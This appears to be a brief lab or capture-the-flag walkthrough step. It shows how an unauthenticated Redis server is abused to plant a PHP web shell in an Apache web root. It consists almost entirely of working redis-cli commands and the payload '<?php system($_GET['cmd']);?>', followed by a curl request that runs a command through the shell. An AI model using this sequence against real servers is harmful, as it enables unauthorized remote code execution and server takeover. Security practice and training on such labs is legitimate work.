Valid Website Folder Path Required

Redis Server Requires no Authentication.

  • We know the Default Apache2 Site Folder: /var/www/html
  • We can set some parameters to create a WebShell
attacker@machine:~$ redis -h 10.10.150.201
10.10.150.201:6379> config set dir /var/www/html
OK
10.10.150.201:6379> config set dbfilename web_shell.php
OK
10.10.150.201:6379> set test "<?php system($_GET['cmd']);?>"
OK
10.10.150.201:6379> save
OK

  • We can Access the WebShell at: [IP:80/web_shell.php]
aubreanna@internal:~$ curl "http://10.10.150.201/web_shell.php?cmd=id"
